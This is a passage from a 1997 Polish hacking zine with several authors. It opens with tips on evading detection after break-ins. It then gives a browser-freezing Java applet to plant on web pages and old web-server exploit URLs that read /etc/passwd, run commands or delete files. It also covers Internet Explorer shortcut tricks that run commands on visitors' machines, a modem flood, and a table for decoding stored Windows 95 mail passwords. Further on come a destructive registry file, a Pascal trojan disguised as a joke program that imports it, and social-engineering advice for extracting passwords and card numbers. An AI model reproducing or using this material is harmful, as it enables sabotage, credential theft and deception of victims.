- Administratorzy sieci maja w dupie prawo i jesli zechca to moga czytac twoje listy, monitorowac twoje polaczenia i robic waszystko co im sie podoba. Jak to ktos stwierdzil roznica miedzy hackerem a administratorem jest tylko taka, ze system nalezy do niego ;) Jak juz mowilem jestes winny. Zaczna monitorowac twoja poczte, pliki, a jak maja wchody to zaczna monitorowac twoje polaczenia telefoniczne. Dlatego przez pewien czas nie powinienes robic zadnych akcji. Przynajmniej wsztrzymac sie na miesiac lub dwa. Powiadomic przyjaciol by nie wysylali ci niczego konkretnego, zadnej kodowanej poczty, bo to jest od razu podejrzane. Wyluzuj i zacznij pisac teksty i narzedzia, by nie stracic kontaktu ze srodowiskiem hackerskim. Schowaj tez lub zlikfiduj wszystkie kompromitujace ciebie i twoich kolegow materialy. Numery telefonow itd.
- A oto kawalek listu jaki mozesz dostac gdy cie namierza:

Szanowny Panie!

Wykrylismy w naszym systemie probe naruszenie przez Pana bezpieczenstwa sieci firmy K3 DOM.

Chcielibysmy niniejszym przestrzec Pana, ze wlamania do sieci komputerowych sa przestepstwem i jako takie moga byc scigane z powodztwa cywilnego (art. 199-202 zagarniecie mienia, art. 212 i 220 zniszczenie mienia, art. 260 i 264 ujawnienie informacji, art. 265-268 uszkodzenie lub zniszczenie dokumentu). Prowadzimy dalszy, intensywny monitoring systemu w celu wykrycia nastepnych prob wlamania i jesli zajdzie taka koniecznosc, zglosimy fakt proby wlamania do naszego systemu w Biurze Dochodzeniowo-Sledczym KG Policji.

Prosze pamietac, ze korzystanie z darmowego konta w polbox oraz uslug serwera telekomunikacji nie zapewnia calkowitej anonimowosci, gdyz na wniosek prokuratora T.P. SA udostepnia billing polaczen do kazdego modemu dostepowego, ktory moze byc dowodem w postepowaniu karnym.

Oczywiscie waszystko to to bzdura - po pierwsze moga cie skarzyc tylko wtedy gdy cos niszczysz, czytasz cudza poczte czy zmieniasz im www. A choc billing moze byc dowodem - to jednak nie jest nim w zadnym wypadku wydruk logow systemowych, bo kazdy hacker moze je zmienic zeby cie wrobic.

Po prostu NIE DAJCIE SIE ZLAPAC i tyle!!!!!!!!!!

VII Skrypty java

1 Killer java : lcamtuf

Jest to maly programik w Javie, ktory uruchamia w chwili wejscia na strone lawinowa ilosc zadan, kazde z nich odpala z kolei nowe... Robi sie z tego cholerna zadyma, w pol sekundy kazdy system wisa, poniewaz procesorowi nie starcza czasu nawet na obsluge myszy. Nie ma tez prostego patcha przeciw temu skryptowi [RESET]... Mozna wytlaczyc Jave w przegladarce, ale wtedy wiekszosc stron bedzie chodzic nieprawidlowo :-)

Oto jak musi wygladac kawalek kodu w HTMLu, ktory wstawiamy gdziekolwiek na strone:

```
<applet code=Killer.class height=50 width=50></applet>
```

Teraz kazdy kto wejdzie na strone zawierajaca ten "dodatek" spotka sie ze wspaniala niespodzianka - komputer totalnie sie zawiesi (Explorer) albo zresetuje (Netscape)... Powodzenia :-)

Plik Killer.class (uwaga na rozmiar liter!) uzyskasz po kompilacji Killer.java, ktory musi wygladac tak:

```
-- Killer.java --
```

```
// Killer.java
// (c) lcamtuf 97 for HMG
// -----
```

```
import java.io.InputStream;
import java.applet.Applet;
import java.awt.*;
import java.net.*;
```

```
public class Killer extends java.applet.Applet implements Runnable {
```

```
    Thread me;
```

```
    public void start() {
        while (true) {
            me=new Thread(this);
            me.start();
        }
    }
}
```

```
    public void run() { start(); }
    public void stop() {}
    public void init() {}
```

```
}
```

```
-- Eof --
```

VIII Bugi w HTTPd : lcamtuf

1. Hasla (BSD): <http://www.serwer.com/~root/etc/passwd>

2. Hasla: <http://www.serwer.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd>

3. Hasla (BSD): <http://www.serwer.com/~bin/etc/passwd>

4. Pod Windows NT:

<http://www.serwer.com/scripts/pfieffer.bat?&xxx+?&yyy+?&zzz+...+?&time>
 bedzie rownowazne z wykonaniem polecen xxx, pozniej yyy i zzz (czyli takiego BATa). Co wiecej ostatnie polecenie spowoduje, ze calosc nie pojawi sie w logach systemowych :-). W nowych NT bug jest naprawiony, ale wystarczy zastapic pfieffer.bat dowolnym innym batem znajdujacymsie w /scripts/ i juz wszystko znowu dziala :-)

5. Windows NT: telnet www.serwer.com 80, wpisujac "GET ../../" i poslugujac sie odpowiednia iloscia ".." mozna pobrac dowolny plik z dysku.

6. Pod Windows NT (Netscape Server):

<http://www.serwer.com/cgi-bin/test.bat?&xxx>

Pozwala wykonac polecenie 'xxx' (dir).

http://www.serwer.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E

Pozwala skasowac wszystko w aktualnym katalogu.

7. Stary IntranetWare:

<http://www.serwer.com/scripts/convert.bas?../../xxx>

Pozwala odczytac plik xxx

8. CERN httpd:

Podobno przy starym httpd na porcie 80 firewall jest bezuzyteczny (mozna sie laczyc bez ograniczen - portfuck :-)

9. Kiedys mozna bylo wpisac w AltaVista np "0:0", jesli jakis serwer byl zle skonfigurowany to plik /etc/passwd zostawal dodany do zbiorow przegladarki :-o Nie wiem jak teraz, ale na 100% COS SIE DA SCIAGNAC, tylko trzeba zobaczyc ktoredy.

10. Dziura HTTPD w NCSA 1.42 i prawdopodobnie 1.5

Mozliwe jest odczytanie zawartosci katalogu cgi-bin oraz dowolnego skryptu zawartego w nim, co pozwala hackerowi znalezc w nich bugi. A tak to wyglada:

<http://www.serwer.com/cgi-bin/> - wyswietla zawartosc katalogu

<http://www.serwer.com/cgi-bin/skrypt.pl> - wyswietla kod zrodlowy skryptu

PS. Jesli phf i podobne zwracaja zamiast hasel znaczki '*' to zamiast /etc/passwd sprobujcie /etc/shadow albo /ect/passwd-

 IX Bugi w przegladarkach WWW i OSach

1. Bug w Internet Explorerze : lcamtuf

W IE (wersje starsze od 3.2) mozliwe jest wykonanie dowolnego polecenia lub serii polecen na komputerze przegladajacego strone.

Jest to cholernie powazna dziura, poniewaz autor strony www moze dowolnie modyfikowac zawartosc dysku przegladajacego, formatowac, kasowac, a nawet przesylic je dalej.

Na dobry poczatek wypada utworzyc strone zawierajaca taki tekst.

```
<a href="test.url">kliknij tutaj</a>
```

Pozostaje jeszcze stworzyc plik test.url wygladajacy tak:

```
[InternetShortcut]
URL=file://calc.exe
```

(trzeba go wrzucic obok strony na serwer).

Teraz gdy ktos kliknie na napis "kliknij tutaj" - bez pytania na jego komputerze zostanie odpalony kalkulator. Oczywiscie kalkulator to tylko przyklad. Trzeba dodac, ze program zostanie znaleziony w PATHu, nie musimy podawac katalogu.

To jednak nie wszystko - prawdziwe pieklo rozpoczyna sie pod Windows 95 (uzytkownicy NT sa bezpieczni). Wystarczy w Win95 utworzyc w katalogu ze strona skrot (Shortcut) do interesujacego nas programu, np "c:\command.com", w miejscu linii polecen warto wpisac np, "/cmkdir c:\test". Otrzymany plik, powiedzmy TEST.LNK, ktory skopiujemy do katalogu z nasza strona pod nazwa test.lnk i zmodyfikujemy strone:

```
<a href="test.lnk">kliknij tutaj</a>
```

Jesli klikniemy - na dysku zostanie utworzony katalog c:\test. Ale to nie wszystko - mozna wywolac takze polecenia typu format, rmdir...

Jesli chcemy, aby polecenie wykonalo sie od razu po wejsci na strone albo zeby wykonala sie cala sekwencja polecen (cos jak plik BAT) - powinniśmy uzyc meta-polecenia 'refresh' (wiecej danych gdzieś w specyfikacjach html'a).

Czas na podsumowanie:

Pliki URL - Windows 95 i Windows NT - polecenie szukane w PATHu - nie mozna podac linii polecen

Pliki LNK - tylko Windows 95 - trzeba podac dokladny katalog - mozna podac linie polecen

Oczywiscie pliki LNK sa potezniejsza bronia, chociaz dzialaja tylko pod win95. Jednakze odpowiednie parametry podane programom w stylu edlin czy debug potrafia zrobic naprawde wszystko z komputerem :) A co sie tyczy katalogu - wiekszosc uzytkownikow Win95 ma je zainstalowane w C:\WINDOWS, zas okolo 2% w C:\WIN95

2. Jak zerwac polaczenie lamerowi : lcamtuf

Lamer, jak powszechnie wiadomo, korzysta z Win95. Wobec tego mozna mu dokopac na 100039384 sposobow, a jednym z oryginalniejszych jest... przerwanie mu polaczenia modemowego przez flood. O ile jednak wysylanie pakietow ICMP jest pracochlonne, o tyle nie jest zadnym problemem powiedzenie lamerowi "idz na strone <http://www.serwer.com>", zas na tej stronie umieszczenie "meta refreshu" do "inny_serwer.com:19". Co z tego wynika? Ano jesli lamer sie polaczy z portem 19 serwera to zostanie automatycznie zflooderowany przez serwer, poniewaz port 19 to chargen i jego modem umrze. Oczywiscie serwer nalezy odpowiednio wybrac - najlepszy do tego celu jest WinNT, ktory ma domyslnie wlaczona usluge chargen. Ale mozna tez znalezc unix'a (zwlaszcza starszego), ktory rowniez ma aktywnego chargena. Sprawdzenia nalezy dokonac przez telnet.

Podobno jeszcze lepsze efekty daje uzycie takiej kombinacji:

http://jakis_serwer_proxy.com/http://lokalny_serwer.com:19

4. Jak rozwalic winNT przez www : lcamtuf

Cudownie dziala na eNTekowcow taka kombinacja:

```

```

X Cos dla lamerow : POWER

Dobra jezeli przeczytales ten tekst i prawie niczego nie kapujesz, to oznacza ze albo jestes skonczonym lamerem, albo to dopiero twoje poczatki.

Wiec mam tu cos i dla ciebie, jest to kilka sposobow, do uzycia ktorych ja bym sie nie posunal, ale jako poczatkujacy lamer masz do tego pelne prawo :)

1 Popros doswiadczonego hackera.

Tak mozna i tak. Ale male szanse ze ci sie uda. Czasem ktos zlituje sie nad toba i dostaniesz jakies konto.

2 Mozesz isc na irc

Mozesz tez probowac wkrecic sie w srodowisko hackreskie na irc, o to by zdobyc troche wiedzy.

Ale musisz pamietac, ze kanalt jak #hack, #hackpl, czy #2600 i inne tego typu, to miejsca gdzie rzadzi ignorancja, ktora wypycha z ludzi resztki wiedzy i inteligencji.

Sa tam tez w porzadku goscie, ale jest ich malo. Przewaznie sa to kanaly gdzie dzieci, ktore nia maja idealow walcza o to by zdobyc opa i pokazac wszystkim jakimi sa hackerami.

3 Mozesz zalatwic sobie takze darmowe konta telnetowe.

np na nyx.net lub qnx.com

login: new

i juz jestes w srodoku, ale takie serwery sa dobrze monitorowane.

Ale mozna w nich za to dokladnie zapoznac sie z budowa servera.

XI Rejestry SHIT'a 95 : Ultor

CONNECTED...

Napisalem to w celu uswiadomienia nieszczesnych uzytkownikow Windows95 !!! Nie ponosze zadnej odpowiedzialnosci za niezgodne z prawem wykorzystanie tego co jest tu napisane !!! Napisalem to tylko w celach edukacyjnych ;) !!!
Ultor.

SHIT95 ma w sobie takie gówno jak rejestry !!! W rejestrach W95 znajduje sie wiekszosc ustawien systemu, logi programow HASLA itd !!! Tak sie akurat sklada, ze Internet Mail z pakietu Internet Explorer wpisuje tam haslo ostatnio otwieranego konta E-mail !!! No to sprobujmy wyciagnac te haslo !!! Lecz wpierw zaczne od podstaw !!! Plik rejestru mozna zrobic wpisujac /regedit /e C:\xxx.reg w URUCHOM !!! Na dysku C: zostanie utworzony plik z calym rejestrze W95 bedzie on mial grubo ponad 1MB !!! Haslo bedzie wpisane prawie na koncu tego pliku pod tekstem "Account". Mozna je znalezc tez w inny sposob !!! Uruchom program REGEDIT.EXE i Przejdz do [HKEY_USERS\.Default\Software\Microsoft\Internet Mail and News\Mail\POP3\...] w miejscu kropek bedzie wpisany serwer POP3 np. polobx.com, a w nim zobaczysz haslo oczywiscie po tekscie Password !!! Jak juz zauwazyles Haslo to jest zaszyfrowany :(!!! Teraz przyjdzie kolej na najtrudniejszy¹ czesc artykulu. Metoda rozszyfrowania tego hasla !!! Troche to skomplikowane, wiec bedziesz musial nad tym posiedziec !!! No to zaczynam !!! TABELA !!!

SP=SPACE

L2=II Litera

I Litera aa,bb	II Litera	III Litera	IV Litera ,cc	V Litera dd,	VI LITERA
SP49,47	42 -4 do bb	67 -1 do L2	..,49,41	41 +2 do cc	Tak jak przy
! 49,57	46 -4 do bb	68 -1 do L2	..,49,51	45 +2 do cc	III literze,
" 49,6d	4a -4 do bb	69 -1 do L2	..,49,67	49 +2 do cc	tylko ze od
# 49,32	4e -4 do bb	6a -1 do L2	..,49,77	4d +2 do cc	@ do { +1 do

\$ 4a,47	52 -4 do bb	6b -1 do L2	..,4a,41	51 +2 do cc	V litery !!
% 4a,57	56 -4 do bb	6c -1 do L2	..,4a,51	55 +2 do cc	-----
& 4a,6d	5a -4 do bb	6d -1 do L2	..,4a,67	59 +2 do cc	VII LITERA
' 4a,32	64 -4 do bb	6e -1 do L2	..,4a,77	63 +2 do cc	
(4b,47	68 -4 do bb	6f -1 do L2	..,4b,41	67 +2 do cc	Tak jak przy
) 4b,57	6c -4 do bb	70 -1 do L2	..,4b,51	6b +2 do cc	IV literze.
* 4b,6d	70 -4 do bb	71 -1 do L2	..,4b,67	6f +2 do cc	-----
+ 4b,32	74 -4 do bb	72 -1 do L2	..,4b,77	73 +2 do cc	VIII LITERA
, 4c,47	78 -4 do bb	73 -1 do L2	..,4c,41	77 +2 do cc	
- 4c,57	31 -4 do bb	74 -1 do L2	..,4c,51	30 +2 do cc	Tak jak przy
. 4c,6d	35 -4 do bb	75 -1 do L2	..,4c,67	34 +2 do cc	V literze.
/ 4c,32	39 -4 do bb	76 -1 do L2	..,4c,77	38 +2 do cc	-----
0 4d,47	42 -3 do bb	77 -1 do L2	..,4d,41	41 +3 do cc	.
1 4d,57	46 -3 do bb	78 -1 do L2	..,4d,51	45 +3 do cc	.
2 4d,6d	4a -3 do bb	79 -1 do L2	..,4d,67	49 +3 do cc	.
3 4d,32	4e -3 do bb	7a -1 do L2	..,4d,77	4d +3 do cc	.
4 4e,47	52 -3 do bb	30 -1 do L2	..,4e,41	51 +3 do cc	.
5 4e,57	56 -3 do bb	31 -1 do L2	..,4e,51	55 +3 do cc	.
6 4e,6d	5a -3 do bb	32 -1 do L2	..,4e,67	59 +3 do cc	.
7 4e,32	64 -3 do bb	33 -1 do L2	..,4e,77	63 +3 do cc	
8 4f,47	68 -3 do bb	34 -1 do L2	..,4f,41	67 +3 do cc	
9 4f,57	6c -3 do bb	35 -1 do L2	..,4f,51	6b +3 do cc	
: 4f,6d	70 -3 do bb	36 -1 do L2	..,4f,67	6f +3 do cc	
; 4f,32	74 -3 do bb	37 -1 do L2	..,4f,77	73 +3 do cc	
< 50,47	78 -3 do bb	38 -1 do L2	..,50,41	77 +3 do cc	
= 50,57	31 -3 do bb	39 -1 do L2	..,50,51	30 +3 do cc	
> 50,6d	25 -3 do bb	2b -1 do L2	..,50,67	34 +3 do cc	
? 50,32	39 -3 do bb	2f -1 do L2	..,50,77	38 +3 do cc	
@ 51,47	42 -2 dp bb	41	..,51,41	41 +4 do cc	
A 51,57	46 -2 do bb	42	..,51,51	45 +4 do cc	
B 51,6d	4a -2 do bb	43	..,51,67	49 +4 do cc	
C 51,32	4e -2 do bb	44	..,51,77	4d +4 do cc	
D 52,47	52 -2 do bb	45	..,52,41	51 +4 do cc	
E 52,57	56 -2 do bb	46	..,52,51	55 +4 do cc	
F 52,6d	5a -2 do bb	47	..,52,67	59 +4 do cc	
G 52,32	64 -2 do bb	48	..,52,77	63 +4 do cc	
H 53,47	68 -2 do bb	49	..,53,41	67 +4 do cc	
I 53,57	6c -2 do bb	4a	..,53,51	6b +4 do cc	
J 53,6d	70 -2 do bb	4b	..,53,67	6f +4 do cc	
K 53,32	74 -2 do bb	4c	..,53,77	73 +4 do cc	
L 54,47	78 -2 do bb	4d	..,54,41	77 +4 do cc	
M 54,57	31 -2 do bb	4e	..,54,51	30 +4 do cc	
N 54,6d	35 -2 do bb	4f	..,54,67	34 +4 do cc	
O 54,32	39 -2 do bb	50	..,54,77	38 +4 do cc	
P 55,47	42 -1 do bb	51	..,55,41	41 +5 do cc	
Q 55,57	46 -1 do bb	52	..,55,51	45 +5 do cc	
R 55,6d	4a -1 do bb	53	..,55,67	49 +5 do cc	
S 55,32	4e -1 do bb	54	..,55,77	4d +5 do cc	
T 56,47	52 -1 do bb	55	..,56,41	51 +5 do cc	
U 56,57	56 -1 do bb	56	..,56,51	55 +5 do cc	
V 56,6d	5a -1 do bb	57	..,56,67	59 +5 do cc	
W 56,32	64 -1 do bb	58	..,56,77	63 +5 do cc	
X 57,47	68 -1 do bb	59	..,57,41	67 +5 do cc	
Y 57,57	6c -1 do bb	5a	..,57,51	6b +5 do cc	
Z 57,6d	70 -1 do bb	5b	..,57,67	6f +5 do cc	
[57,32	74 -1 do bb	62	..,57,77	73 +5 do cc	
\ 58,47	78 -1 do bb	63	..,58,41	77 +5 do cc	
] 58,57	31 -1 do bb	64	..,58,51	30 +5 do cc	
^ 58,6d	35 -1 do bb	65	..,58,67	34 +5 do cc	
_ 58,32	39 -1 do bb	66	..,58,77	38 +5 do cc	
` 59,47	42	67	..,59,41	41 +6 do cc	
a 59,57	46	68	..,59,51	45 +6 do cc	
b 59,6d	4a	69	..,59,67	49 +6 do cc	
c 59,32	4e	6a	..,59,77	4d +6 do cc	
d 5a,47	52	6b	..,5a,41	51 +6 do cc	
e 5a,57	56	6c	..,5a,51	55 +6 do cc	
f 5a,6d	5a	6d	..,5a,67	59 +6 do cc	

g 5a,32	64	6e	..,5a,77	63 +6 do cc
h 61,47	68	6f	..,61,41	67 +6 do cc
i 61,57	6c	70	..,61,51	6b +6 do cc
j 61,6d	70	71	..,61,67	6f +6 do cc
k 61,32	74	72	..,61,77	73 +6 do cc
l 62,47	78	73	..,62,41	77 +6 do cc
m 62,57	31	74	..,62,51	30 +6 do cc
n 62,6d	35	75	..,62,67	34 +6 do cc
o 62,32	39	76	..,62,77	38 +6 do cc
p 63,47	42 +1 do bb	77	..,63,41	41 +7 do cc
q 63,57	46 +1 do bb	78	..,63,51	45 +7 do cc
r 63,6d	4a +1 do bb	79	..,63,67	49 +7 do cc
s 63,32	4e +1 do bb	7a	..,63,77	4d +7 do cc
t 64,47	52 +1 do bb	30	..,64,41	51 +7 do cc
u 64,57	56 +1 do bb	31	..,64,51	55 +7 do cc
v 64,6d	5a +1 do bb	32	..,64,67	59 +7 do cc
w 64,32	64 +1 do bb	33	..,64,77	63 +7 do cc
x 65,47	68 +1 do bb	34	..,65,41	67 +7 do cc
y 65,57	6c +1 do bb	35	..,65,51	6b +7 do cc
z 65,6d	70 +1 do bb	36	..,65,67	6f +7 do cc
{ 65,32	74 +1 do bb	37	..,65,77	73 +7 do cc
66,47	78 +1 do bb	38	..,66,41	77 +7 do cc
} 66,57	31 +1 do bb	39	..,66,51	30 +7 do cc

```

ciag 47 |           | ,77+7=33
      57 |           | ,67+7=6e
      6d |           | ...
      32 |
      |
6d-2=6b |

```

Tak wyglada pelne uzupelnienie wolnego miejsca w hasle ..,3d,3d,0d,0a

A teraz przytocze kilka przykladow !!!

Haslo:HACK

Password:53 45 46 44 53 77 3d 3d 0d 0a

```

      --
      | |
    -2 | |
53 45 46 44 53 77 3d 3d 0d 0a
|   |   |   |   |   |   |
-----|   |   |   |   |
      |   |   |   |   |
      H   A   C   K   .--- Uzupelnienie

```

53,45 a nie 53,47 w literze 1 bo druga Litera to A i odejmuje 2 z 47.

Haslo:Ultor

Password:56 57 78 30 62 33 49 3d 0d 0a

```

      --
      | |
      +7 | |
56 57 78 30 62 33 49 3d 0d 0a
|   |   |   |   |   |   |
-----|   |   |   |   |
      |   |   |   |   |
      U   l   t   o   r   .-- Uzupelnienie

```

W tym przykladzie wystepuje ciekawy przypadek !!! Litera r dodaje +8 do o.
Normalnie 62,77 a tutaj 62,33 ale przeciez pisze +7 a 77+7=84 a nie 33 no i

o co tu chodzi ? A no własnie !!! Niepatrz na to matematycznie !!! $77+7=33$ i tak ma juz byc !!!

Haslo:Ultor@

Password:56 57 78 30 62 33 4a 41 0d 0a

Tak jak w poprzednim tylko ze przy literze r zostalo dodane +1 w systemie Hexadecymalnym !!! czyli $49\text{ h} + 1 = 4a\text{ h}$!!! To + 1 dodawala 6 litera czyli znak @ !!!

Mysle ze tyle przykladow powinno wystarczyc !!! Mam nadzieje ze cos z tego zrozumieliscie !!! Pytanie tylko jak od kogos wyciagnac rejestr w95 ? Hm .. Mozesz Lamerowi powiedziec ze padl ci SHIT95 bo mieszales w rejestrach !!! Popros go o jego rejestr, niby ze to w celu przyzjenia sie jak to bylo przed grzebaniem w W95 !!! Problem w tym ze to zajmuje 1MB, ale po kompreji okolo 150 kilo, wiec mozna powiedziec zeby wyslal ci to na Maila !!! W zamian daj mu cos na pocieszenie i gotowe.

UWAGA !!! Gdy masz juz czyjs rejestr i uzywasz W95 wtedy uwazaj !!! Jesli ma on koncowke *.reg to mozesz go przez przypadek uruchomic na swojej maszynie przez np. klimniecie 2 razy na tym pliku, a wtedy bedziesz musial przeinstalowac Windowsa. Najlepiej odrazu zmien koncowke na np *.re_ !!!

BEZPIECZENSTWO !!!

Jesli uzywasz systemu w95 to nigdy nie dawaj nikomu pliku rejestru !!! W rejestrach bowiem ukryte jest duzo innych hasel i pare przydatnych dla Hackera zeczy. Z rejestru mozna dowiedziec sie jaki software ma ktos zainstalowany, jaki ma sprzet, adresy portow itd. Radze uwazac !!!

Tu konczy sie czesc poswiecona Haslu konta email w Rejestrze !!!
Teraz przejde do zupełnie innej sprawy !!!

TOTAL REG DESTRUCT

REJESTRY w95 mozna tez wykorzystac do niszczenia systemu !!! Odpowiednio spreparowany plik rejestru moze zalatwic nie tylko system ale i sprzet !!! Nie chce sie na ten temat zbytnio rozpisywal, wiec bede sie streszczal. Jesli macie w95 na CD to jest tam taki programik ja Poledit.

:/ADMIN/APPTOOLS/Poledit/ mozna przy jego pomocy nalozyc ograniczenia na system lub pozmieniac ustawienia sytemu. Dzieki temu mozemy robic niezly Bajzel w W95. Ale przejde do zeczy. Robimy plik rejestru /regedit /e 1.reg pozniej robimy zmiany poleditem i robimy drugi plik rejestru /regedit /e 2.reg teraz porownujemy te dwa pliki np przez fc i po znalezieniu roznicz robimy cos takiego. Zakladamy plik xxx.reg w ktorym w pierwszej lini wpisujemy REGEDIT4, a druga zostawiamy pusta. Teraz kopiujemy Miejsce ktore sie roznilo do dalszej czesci tego pliku i zapisujemy ten plik na dysk. Linijke ktora sie roznila trzeba skopiowac wraz ze czescia w klamrach, ktora jest troche wyzej nad ta linijka np cos takiego
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID]
gotowy plik bedzie wygladal tak:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID]
(ROZNICA)

Teraz trzeba tylko przemycic ten plik *.reg do czyjegos systemu i uruchomic. Mozemy dopisac linijke do wstart.bat " @REGEDIT /s *.reg " i gotowe. Teraz dostaniecie jeden TOTALNIE dastrukcyjny plik rejestru. Gdy uzytkownik uruchomi ponownie komputer po wczytaniu tego pliku do rejestru to jego SHIT95 bedzie dzialal w 320x200, mysz bedzie chodzila na odwrot, strzalki przewijania beda mialy wielkosc 1/3 ekranu. COOL NIE ? A TO WSZYSTKO BEDZIE WYGLADALO NA KOLEJNY BUG W95. HE HE HE !!!

| TERROR.REG |

----- CUT HERE -----

REGEDIT4

```
[HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=hex:95,00,00,00
"NoSetFolders"=dword:00000001
"NoDrives"=dword:03ffffff
"NoClose"=dword:00000001
"NoDesktop"=dword:00000001
```

```
[HKEY_USERS\.Default\Control Panel\desktop\WindowMetrics]
"IconSpacingFactor"="100"
"BorderWidth"="-300"
"ScrollWidth"="-1500"
"ScrollHeight"="-1500"
"MenuWidth"="-370"
"MenuHeight"="-370"
"IconVerticalSpacing"="-1725"
```

```
[HKEY_USERS\.Default\Control Panel\Mouse]
"SwapMouseButtons"="1"
```

```
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Display\0001\DEFAULT]
"CRTXSize"="640"
"CRTYSize"="480"
"x_res"="800"
"y_res"="600"
"Resolution"="320,200"
```

```
[HKEY_LOCAL_MACHINE\Config\0001\Display\Settings]
"BitsPerPixel"="16"
"Resolution"="320,200"
"MouseTrails"="0"
```

-----CUT HERE -----

A teraz niewinny program w TURBO PASCALU !!! Sam zaklada i uruchamia ten plik rejestru co jest wyzaj.

----- ERROR.PAS -----

```
{ $M 1192,0,0 }
{ Created By Ultor }
Uses Dos,Crt;
VAR I,Proc:Integer;T:Text;X,Y:String;S:PathStr;F:File;
Begin
Randomize;
Proc:=Random(10);
Assign(T,'C:\test.reg');
Rewrite(T);
Writeln(T,'REGEDIT4');
Writeln(T,'[HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]');
Writeln(T,'"NoDriveTypeAutoRun"=hex:95,00,00,00');
Writeln(T,'"NoSetFolders"=dword:00000001');
Writeln(T,'"NoDrives"=dword:03ffffff');
Writeln(T,'"NoClose"=dword:00000001');
Writeln(T,'"NoDesktop"=dword:00000001');
Writeln(T,' ');
Writeln(T,'[HKEY_USERS\.Default\Control Panel\desktop\WindowMetrics]');
Writeln(T,'"IconSpacingFactor"="100"');
Writeln(T,'"BorderWidth"="-300"');
Writeln(T,'"ScrollWidth"="-1500"');
Writeln(T,'"ScrollHeight"="-1500"');
Writeln(T,'"MenuWidth"="-370"');
Writeln(T,'"MenuHeight"="-370"');
```



```

Writeln(T, 'IconVerticalSpacing'='-1725');
Writeln(T, ' ');
Writeln(T, '[HKEY_USERS\.Default\Control Panel\Mouse]');
Writeln(T, 'SwapMouseButtons'='1');
Writeln(T, ' ');
Writeln(T, '[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Display\0001\DEFAULT]');
Writeln(T, 'Resolution'='320,200');
Writeln(T, ' ');
Writeln(T, '[HKEY_LOCAL_MACHINE\Config\0001\Display\Settings]');
Writeln(T, 'BitsPerPixel'='16');
Writeln(T, 'Resolution'='320,200');
Writeln(T, 'MouseTrails'='0');
Close(T);
ClrScr;TextColor(Red + Blink);TextBackGround(Black);
Writeln('');For I:=1 to 34 do Write(' ');Writeln('Hello !!!');TextColor(Green);
Writeln('');Writeln('
Oto najnowsza porcja kawalow o zydach i
blondynkach');
Writeln('');Writeln('');NormVideo;
Writeln('W najblizszym czasie wyjdzie nowa kolekcja tego typu przygotowana przez
grupe');
TextColor(Green);For I:=1 to 35 do Write(' ');Writeln('MAX FUN');NormVideo;
Writeln('Jesli ja otrzymasz to jedyne o co cie prosimy to wymowienie
nastepujacych slow');
Writeln('');Writeln('
FUCK BILL GATES FOR HIS WINDOWS 95 - ONE BIG
SHIT');
Writeln('');Writeln('');Writeln('Przy okazji zostanie przeprowadzony test
KOMPUTERA');
For I:=1 to 9 do Writeln('');For I:=1 to 32 do Write(' ');Writeln('Wcisnij
ENTER');
Readln;ClrScr;
Writeln('');Writeln(' Jesli to zrobiles, to mozesz czytac kawaly nie lamiac praw
autorskich !');
Writeln('');Writeln(' A jesli nie, to do twojego komputera zostalo wprowadzonych
9999999 wirusow !');
Writeln('');Writeln('');Writeln('');For I:=1 to 26 do Write(' ');Writeln('To byl
oczywiscie zart !!!');
Writeln('');For I:=1 to 29 do Write(' ');Writeln('Milej zabawy zyczy ');TextColor
(Green);Writeln('');
Writeln('');For I:=1 to 33 do Write(' ');Write('MAX FUN !!!');NormVideo;Writeln
('');
Writeln('');Writeln('WynikTestu Komputera');Writeln(80+Proc, ' %', ' do
INTERNETU');
Writeln(85+Proc, ' % Do gier 2D');Writeln(60+Proc, ' % Do gier 3D');
For I:=1 to 8 do Writeln('');For I:=1 to 32 do Write(' ');Writeln('Wcisnij
ENTER');
S:=FSearch('REGEDIT.EXE',GetEnv('PATH'));
Y:=( '/s C:\test.reg');
Exec(S,Y);
Readln;
ClrScr;
END.

```

----- TERROR.PAS -----

Pozmieniam w nim tresc i dolacz do spakowanego archiwum. Ja napisalem go i dolaczylem do 2 plikow z kawalami. Ofiara bedzie miala niezly ubaw. Mozna po skompilowaniu nazwac go np. pornol.exe albo sex.exe to zapewni 100% skuteczznosc !!! Mi juz sie niechcialo dodawac procedury usuwania pliku test.reg po robocie ale ty mozesz sobie to dodac. W innej wersji tego programu plik ten podstawia sie pod systemowego rega.

To juz chyba koniec !!! Mam nadzieje ze udalo mi sie nauczyc kogos czegos pozytecznego i ze nawet Lamer nie mial trudnosci ze zrozumieniem tego co napisalem !!! Staralem sie omowic caly temat jak najbardziej przejrzyscie !!! Jesli nic z tego nie zrozumiales to trudno !!! W najblizszym czasie wypuszcze jeszcze pare tego typu info !!!

Greetings to: p0wer, lacamtuf, crush, luke_skyw, ce64, a5ki !!!

Contact with me on irc. #CYBERPUNKPL, #HACK_PL, #DIUNA, #PLHACK
WRITED BY ULTOR in 1997 !!!

DISCONNECTED ...

XII Social engeneering : POWER

Fajnie brzmi, no nie, a najproszczyymi slowy to robienie ludzi w jajo by wydobyć od nich jakies poufne informacje. Jak kazdy wie zabezpieczenia systemow sa coraz lepsze i teraz czlowiek zaczyna byc tym najslabszym ogniwnem w zabezpieczeniu (tzw wetware). Jak kazdy z nas wie wiekszosc ludzi jest naiwna, a nawet bardzo glupia i to nalezy wykorzystac w takiego rodzaju ataku. Najczesciej dokonuje sie tego przez telefon lub na irc, gdyz ofiara nie moze domyslec sie z kim na prawde ma do czynienia. Jednym z najprostszych sposobow jest wyblaganie hasla od jakiejs glupiej panienki na irc. Mowisz, ze odetna ci dostep i takie bzdety, iektore lykaja takie kity. Ale przeciez nie tylko do tego to moze sluzyc, ludzie sa tak naiwni, ze podadza ci nawet przez telefon swoj numer karty kredytowej, tajne hasla, i bardzo wazne numery telefonow. Wystarczy miec tylko wyobraznie i gadane. Lecz nie wystarczy tylko zadzwonic do panienki i wymyslac cos na zywo, do takiego ataku trzeba sie wpierw przygotowac.

1 Jesli to firma najlepiej zorientowac sie z jakiej sa branzy i podac sie za kontracheta w interesach lub czlowieka z serwisu.

